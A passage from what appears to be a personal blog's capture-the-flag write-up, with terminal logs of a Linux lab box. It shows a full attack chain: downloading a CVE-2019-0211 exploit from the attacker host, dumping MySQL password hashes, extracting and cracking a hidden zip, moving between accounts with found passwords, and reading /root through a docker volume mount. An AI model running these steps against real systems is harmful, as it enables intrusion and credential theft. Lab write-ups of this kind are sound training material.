root 1278 0.0 0.0 14888 1960 tty1 Ss+ 19:12 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1355 0.0 0.8 333740 16992 ? Ss 19:12 0:00 /usr/sbin/apache2 -k start
root 1412 0.0 3.9 902164 80468 ? Ssl 19:12 0:00 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1996 0.0 0.0 0 0 ? I 20:09 0:00 [kworker/1:2]
root 2322 0.0 0.0 0 0 ? I 21:09 0:00 [kworker/0:2]
root 2330 0.0 0.0 0 0 ? I 21:13 0:00 [kworker/u256:1]
root 2437 0.0 0.0 0 0 ? I 21:29 0:00 [kworker/u256:2]
root 2446 0.0 0.1 60576 3812 ? S 21:31 0:00 sudo -u apaar /home/apaar/.helpline.sh
root 2470 0.0 0.0 0 0 ? I 21:37 0:00 [kworker/u256:0]
root 2471 0.0 0.0 0 0 ? I 21:37 0:00 [kworker/u256:3]
root 2536 0.0 0.0 0 0 ? I 21:39 0:00 [kworker/1:0]
apaar 2559 0.0 0.0 11464 1148 pts/0 S+ 21:42 0:00 grep --color=auto root
Oh wait, I forgot about that local PE potential with Apache! Let’s give that a shot!
# Host OS
$ cd /usr/share/exploitdb/exploits/linux/local && python -m SimpleHTTPServer
# Target OS
$ wget 192.168.2.21:8000/46676.php
wget 192.168.2.21:8000/46676.php
--2021-02-04 21:46:39-- http://192.168.2.21:8000/46676.php
Connecting to 192.168.2.21:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23389 (23K) [application/octet-stream]
Saving to: '46676.php'
46676.php 100%[===================>] 22.84K --.-KB/s in 0.009s
2021-02-04 21:46:39 (2.56 MB/s) - '46676.php' saved [23389/23389]
apaar@ubuntu:/tmp$ php 4
php 46676.php
CARPE (DIEM) ~ CVE-2019-0211
The following addresses were not determined by parsing /proc/self/maps: shm, libaprR, libaprX, apache, zend_object_std_dtor
I went and read the exploit properly (As I should have right away) and this has a moderate chance of working but… could take a while to properly edit this thing to work and not make me wait forever.
So I kept exploring, here’s what I found:
tcp LISTEN 0 128 127.0.0.1:9001 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
apaar@ubuntu:/tmp$ cat /srv/ftp/note.txt
cat /srv/ftp/note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
sudo:x:27:aurick
apaar@ubuntu:/tmp$ cat /home/apaar/.ssh/authorized_keys
cat /home/apaar/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3BzOCWTm3aFsN/RKd4n4tBT71A+vJYONyyrDDj59Pv8lnVTtxi1/VI2Nb/op1nHUcuz1tYMJDMew2kkb+5CX6uiYfnryzD4OQoQUhC4tMSmopIoAi322Y5QSzSY1mSBESddCsn0C5VgE9in4PFl3rFv/k05hJDTXewmCh06vN7OAT5CLbf9lTtf1/Ga40pRixYFlV5owqZci697h17Is1K7RSFCQZwLGl29pLHPBwOpXkHpJqNqEl6Wgu+y0jvauNKzgIypD0EyojgX+1OPogSEr8WNuOc8w6wqQm6gTaAayPioIATTD/ECDBMJPLYN71t6Wdi5E+7R2GT6BIRFiGhTG65KXwXj6Vn7bj99BLSlaq2Qk6oUYpxhhkaE5koPKCJHb9zBsrGEUHTOMFjKhCypQCtjG9noW2jzm+/beqKcEZINQEQfzQFIGKdH0ypGfCCvD6YFUg7lcqQQH5Zd+9a95/5WyUE0XkNzJzU/yxfQ8RDB2In/ZptDYNBFoHXfM= root@ubuntu
Well, if we can get onto aurick we may be able to do something spicy, let’s go poke around in that sql db using the password we found in that random php file…
apaar@ubuntu:/tmp$ mysql -u root
mysql -u root
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
apaar@ubuntu:/tmp$ ^[[A -p
mysql -u root -p
Enter password: !@m+her00+@db
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.7.33-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
No entry for terminal type "unknown";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| webportal |
+--------------------+
5 rows in set (0.00 sec)
mysql> show tables;
show tables;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users |
+---------------------+
1 row in set (0.00 sec)
mysql> select * from users;
select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+-----------+----------+-----------+----------------------------------+
| 1 | Anurodh | Acharya | Aurick | 7e53614ced3640d5de23f111806cc4fd |
| 2 | Apaar | Dahal | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)
Okay! Let’s see if we can’t crack that hash and get onto aurick…
Instant result on crackstation.net, but it didn’t work to log us into aurick’s account. Damn.
At this point, perhaps we should login to the webapp with one of these accounts and see if we get any hints… The running service on port 9001 cannot be access from my host VM, however I can access it from the local machine. Honestly, I can probably just get the hints I need from taking a closer look at the .php files than waisting time rendering it in a browser.
We see, once you render the page and login, you get the following html rendered:
<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
All we’ve really got to go on now is that little hint, “Look in the dark! You will find your answer”. I have a feeling this on is going to step outside my current comfort zone… I have a feeling something is hidden in these images. So:
- Figure out how to exfiltrate these images off the sever
- Research how to discover hidden data?
Easy enough, we just sent the files using scp:
www-data@ubuntu:/var/www/files/images$ scp 002d7e638fb463fb7a266f5ffc7ac47d.gif kali@192.168.2.21:/home/kali/Desktop
<5ffc7ac47d.gif kali@192.168.2.21:/home/kali/Desktop
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.2.21 (192.168.2.21)' can't be established.
ECDSA key fingerprint is SHA256:8Bvdrapy7dXM3tLKBJjUcPZfzYRWl03OlErLV5b/CF0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
kali@192.168.2.21's password: kali
002d7e638fb463fb7a266f5ffc7ac47d.gif 100% 2035KB 109.8MB/s 00:00
www-data@ubuntu:/var/www/files/images$ scp hacker-with-laptop_23-2147985341.jpg kali@192.168.2.21:/home/kali/Desktop
<2147985341.jpg kali@192.168.2.21:/home/kali/Desktop
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.2.21 (192.168.2.21)' can't be established.
ECDSA key fingerprint is SHA256:8Bvdrapy7dXM3tLKBJjUcPZfzYRWl03OlErLV5b/CF0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
kali@192.168.2.21's password: kali
hacker-with-laptop_23-2147985341.jpg 100% 67KB 54.4MB/s 00:00
First things first, a quick search for this reminds me that this is called Steganography
. It seems like most folks on unix are using a piece of software called steghide
to pull hidden data from images, let’s give it a shot! There’s a few different tools used on windows too. I assume to extract the data, I also have to use the same tool that the author used to embed the data, so let’s see how lucky we are.
I tried the jpg first:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg 1 ⨯
Enter passphrase:
wrote extracted data to "backup.zip".
I was surprised to see a password, I just entered a blank password, it seems like it at least found a filename!! Cool!
$ unzip backup.zip
Archive: backup.zip
[backup.zip] source_code.php password:
skipping: source_code.php incorrect password
Interesting, this is a file that wasn’t present on the server! However, clearly I have the wrong password… I tried the two passwords I found earlier in the SQL db, but they didn’t work. Look like I need to try to circumvent this too.
Searching around, here are some options to crack this:
- Brute force it: fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.zip
- Convert the zipfile to a hash and use hashcat
I’m going to do the later, I have a pretty decent machine I think I’ll be able to crack the hash fairly quickly. I Used this guide.
$ zip2john backup.zip > backup_hash.txt
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3
$ john backup_hash.txt
...
I realized that my VM cannot use the GPU on my Host, so I decided to move the hash over to my host OS and use John there to take advantage of my GPU.
For this, I switched to hashcat, and thus had to use a slightly different process:
$ zip2john backup.zip | cut -d ':' -f 2 > backup.txt
C:\...\hashcat-6.1.1>hashcat.exe --status -w3 -o found.txt -m 17200 ..\..\hashes\chillhack.txt ..\..\wordlist\rockyou.txt
hashcat (v6.1.1) starting...
* Device #1: CUDA SDK Toolkit installation NOT detected.
CUDA SDK Toolkit installation required for proper device support and utilization
Falling back to OpenCL Runtime
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL API (OpenCL 1.2 CUDA 11.2.109) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #1: GeForce RTX 2080 Ti, 9600/11264 MB (2816 MB allocatable), 68MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1169 MB
Dictionary cache built:
* Filename..: ..\..\wordlist\rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec
Session..........: hashcat
Status...........: Cracked
Hash.Name........: PKZIP (Compressed)
Hash.Target......: $pkzip2$1*2*2*0*22a*4bb*69dc82f3*0*49*8*22a*69dc*22...kzip2$
Time.Started.....: Sun Feb 28 10:46:31 2021 (0 secs)
Time.Estimated...: Sun Feb 28 10:46:31 2021 (0 secs)
Guess.Base.......: File (..\..\wordlist\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 156.4 MH/s (2.31ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2228224/14344384 (15.53%)
Rejected.........: 0/2228224 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> 61003
Hardware.Mon.#1..: Temp: 39c Fan: 0% Util: 28% Core:1965MHz Mem:6800MHz Bus:16
Started: Sun Feb 28 10:46:29 2021
Stopped: Sun Feb 28 10:46:33 2021
Oh damn, it exited immediately! I looked in the output file, and sure enough it matched pass1word
Let’s give it a try!
unzip backup.zip
Archive: backup.zip
[backup.zip] source_code.php password:
password incorrect--reenter:
inflating: source_code.php
Yes!!! Okay, was this all worth it or was this a silly deadend?
└─$ cat source_code.php
<html>
<head>
Admin Portal
</head>
<title> Site Under Development ... </title>
<body>
<form method="POST">
Username: <input type="text" name="name" placeholder="username"><br><br>
Email: <input type="email" name="email" placeholder="email"><br><br>
Password: <input type="password" name="password" placeholder="password">
<input type="submit" name="submit" value="Submit">
</form>
<?php
if(isset($_POST['submit']))
{
$email = $_POST["email"];
$password = $_POST["password"];
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);?><br><br><br>
<form method="POST">
Enter the OTP: <input type="number" name="otp">
<input type="submit" name="submitOtp" value="Submit">
</form>
<?php mail($email,"OTP for authentication",$random);
if(isset($_POST["submitOtp"]))
{
$otp = $_POST["otp"];
if($otp == $random)
{
echo "Welcome Anurodh!";
header("Location: authenticated.php");
}
else
{
echo "Invalid OTP";
}
}
}
else
{
echo "Invalid Username or Password";
}
}
?>
</html>
All we’ve got there is a password…
$ echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 --decode
!d0ntKn0wmYp@ssw0rd
Does it do anything for us…?
www-data@ubuntu:/var/www/html/secret$ sudo su
sudo su
[sudo] password for www-data: !d0ntKn0wmYp@ssw0rd
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
www-data@ubuntu:/var/www/html/secret$ ls /home
ls /home
anurodh apaar aurick
www-data@ubuntu:/var/www/html/secret$ su aurick
su aurick
Password: !d0ntKn0wmYp@ssw0rd
su: Authentication failure
www-data@ubuntu:/var/www/html/secret$ su anurodh
su anurodh
Password: !d0ntKn0wmYp@ssw0rd
anurodh@ubuntu:/var/www/html/secret$
Okay cool we got onto another account? Exploring…
anurodh@ubuntu:/var/www/html/secret$ cd ~
cd ~
anurodh@ubuntu:~$ ls -al
ls -al
total 28
drwxr-x--- 3 anurodh anurodh 4096 Feb 28 16:02 .
drwxr-xr-x 5 root root 4096 Oct 3 04:28 ..
-rw------- 1 anurodh anurodh 0 Oct 4 14:14 .bash_history
-rw-r--r-- 1 anurodh anurodh 220 Oct 3 04:28 .bash_logout
-rw-r--r-- 1 anurodh anurodh 3771 Oct 3 04:28 .bashrc
drwx------ 3 anurodh anurodh 4096 Feb 28 16:02 .gnupg
-rw-r--r-- 1 anurodh anurodh 807 Oct 3 04:28 .profile
-rw-r--r-- 1 anurodh anurodh 1211 Oct 3 04:20 source_code.php
anurodh@ubuntu:~$ sudo -l
sudo -l
Matching Defaults entries for anurodh on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User anurodh may run the following commands on ubuntu:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
I was poking around at edited files, and saw some Docker stuff and realized remembered that this host has docker running (I’m coming back to this after about a week break…) and realized that I now have privledge to use docker:
$ docker ps
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
I think Docker was running as root?
anurodh@ubuntu:/$ ps -aux | grep docker
ps -aux | grep docker
root 1468 0.0 3.9 902164 79832 ? Ssl 15:57 0:00 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
anurodh 24036 0.0 0.0 13136 1104 pts/0 S+ 16:12 0:00 grep --color=auto docker
Hmm, can we mount root directory into a docker container and get read/write access to it that way?
anurodh@ubuntu:/$ docker run -it --rm -v /root:/mnt/root alpine /bin/sh
docker run -it --rm -v /root:/mnt/root alpine /bin/sh
/ # ls /mnt/root
ls /mnt/root
proof.txt
/ # cat /mnt/root/proof.txt
cat /mnt/root/proof.txt
{ROOT-FLAG: w1******g}
Congratulations! You have successfully completed the challenge.
Fuck yeah! This one was great! I use Docker everyday at work, but have never been able to use it in ITSec yet - I’d love to get into some container escapes or something along those lines.
$ cd content && tree
.
|____2022
| |____November
| | |____home_lab_6
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_update_networking
| | |____blue_team_2
| | |____blue_team_1
| | |____hackthebox_redpanda
| | |____tryhackme_neighbour
| | |____post_exploitation_journey_2
| | |____post_exploitation_journey_1
| | |____try_hack_me_vulnnetendgame
| | |____try_hack_me_corridor
| | |____try_hack_me_surfer
| | |____try_hack_me_epoch
| | |____try_hack_me_template
| | |____modern_image_format_conversion
| |____October
| |____September
| |____February
| | |____perfect_opsec_anon_accounts
| | |____perfect_opsec_pgp
| | |____perfect_opsec_anon_payment
| | |____perfect_opsec_disk_encryption
| | |____perfect_opsec_hardware_spoofing
| | |____perfect_opsec_vpn_vps_and_tor
| | |____perfect_opsec_tor_browser
| | |____perfect_opsec_source_network
| | |____perfect_opsec_os_install
| | |____perfect_opsec_mitigate_author_profiling
| | |____perfect_opsec_hardware
| | |____perfect_opsec_clearnet_browser
| | |____perfect_opsec_basic_os_config
|____2021
| |____May
| |____April
| |____February
|____2020
| |____December
| |____January
| |____August
| |____July
| | |____playbook
| | |____kioptrix_level_5
| | |____kioptrix_level_4
| | |____kioptrix_level_3
| | |____kioptrix_level_2
| | |____kioptrix_level_1
| | |____ringzer0team_sysadmin_linux_8
| | |____ringzer0team_sysadmin_linux_7
| | |____ringzer0team_sysadmin_linux_6
| | |____ringzer0team_sysadmin_linux_5
| | |____ringzer0team_sysadmin_linux_4
| | |____ringzer0team_sysadmin_linux_3
| | |____ringzer0team_sysadmin_linux_2
| | |____ringzer0team_sysadmin_linux_1
| | |____planning_phase_0
| | |____blog_creation